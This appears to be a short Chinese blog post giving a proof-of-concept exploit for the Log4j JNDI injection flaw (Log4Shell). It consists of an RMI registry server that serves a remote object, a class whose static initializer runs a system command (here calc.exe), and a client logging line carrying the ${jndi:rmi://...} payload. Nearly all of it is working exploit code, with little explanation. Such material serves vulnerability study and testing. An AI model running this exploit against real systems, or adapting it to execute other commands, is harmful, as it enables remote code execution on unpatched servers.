package com.example.YourPack; import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.Reference; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class Log4jServer { public static void main(String[] args) { try { System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"); LocateRegistry.createRegistry(1099); Registry registry = LocateRegistry.getRegistry(); Reference reference = new Reference("Log4jServerObj", "Log4jServerObj",null); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("sin",referenceWrapper); System.out.println("启动服务-1099"); } catch (Exception e) { e.printStackTrace(); } } }服务端调用的对象
package com.example.YourPack; import java.io.IOException; public class Log4jServerObj { static { System.out.println("哈哈哈哈哈"); try { Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { e.printStackTrace(); } } }客户端-main函数执行测试
//name案例-${jndi:rmi://192.168.1.12:1099/sin} Logger logger = LogManager.getLogger(); logger.error("{}",name);
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)